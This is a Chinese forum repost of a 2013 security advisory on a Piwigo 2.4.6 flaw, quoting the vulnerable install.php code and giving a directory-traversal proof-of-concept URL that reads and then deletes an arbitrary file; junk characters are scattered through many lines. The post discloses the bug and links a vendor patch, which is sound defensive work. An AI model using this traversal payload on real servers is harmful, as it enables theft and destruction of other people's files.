找回密码
 立即注册
查看: 2961|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。/ t+ Q, o6 ?* Q7 R7 U9 i

7 h5 ^; ^5 H" a$ X, f# M7 V, oPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
4 a2 d5 p4 i3 o* A: [! Q5 c====================================================================2 f( Z! G) c% @
/install.php:
; q9 q- ?! {: ]6 ~. E-------------
0 P. D% u$ L, y3 N& E3 ^) d5 f6 r113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
& p( ]9 B, v. Q7 c8 x9 \114: {: e4 L( z+ h* r7 ~
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
( }0 E, R5 K+ S& `( k" ?116:   header('Cache-Control: no-cache, must-revalidate');
5 S3 w# U0 Q+ M. \117:   header('Pragma: no-cache');0 k2 w9 |3 R  i4 Z) b
118:   header('Content-Disposition: attachment; filename="database.inc.php"');- l0 \( A0 [- E4 _4 \0 y) w" _
119:   header('Content-Transfer-Encoding: binary');
2 D2 K' ^4 K3 {% ?: P  Z5 ~120:   header('Content-Length: '.filesize($filename));* x+ A9 t1 P# ~* ^+ @+ }
121:   echo file_get_contents($filename);
% n( {" s4 G/ F  {  j122:   unlink($filename);2 m  J, R9 ~* K- @) p; i9 w0 g6 b3 h
123:   exit();
2 ~8 r/ L0 j. m) I+ A1 b- ?1 H% K124: }
7 q1 V$ j1 I1 u% ^9 Y+ I====================================================================
! L/ }% m$ v6 Z 4 v: V: @; |. d. G+ s0 l3 }3 i: w
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)( H. \& C, I7 l
           Apache 2.4.2 (Win32)4 S8 I9 y" j. x
           PHP 5.4.4
! V2 E4 K/ \7 s/ @; w# A) w# u% _           MySQL 5.5.25a! u. y0 E, d3 R, u6 l3 |" R$ s
7 x) e+ \8 Q0 o- v* z5 b" y% D
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
5 H) `6 o: s* C+ _% g$ M                            @zeroscience
' O9 L9 r( W) @# ]7 V + \$ h! g: _- K# S
Advisory ID: ZSL-2013-5127
/ ?* X2 c3 k9 H9 U/ ]' LAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
- [3 X% l1 v% ]' v' q9 S2 bVendor Patch: http://piwigo.org/bugs/view.php?id=2843/ R  _" g5 N9 V

* j2 i7 @4 O. J3 S15.02.2013% a3 Q8 x" m* |  d- j
5 C% [9 ]- g" N, B: k
--  ?, g' c! T+ R8 W1 W
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt/ g5 f, Y3 W: t. F/ u4 E
! t, `: m. ]1 R  J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表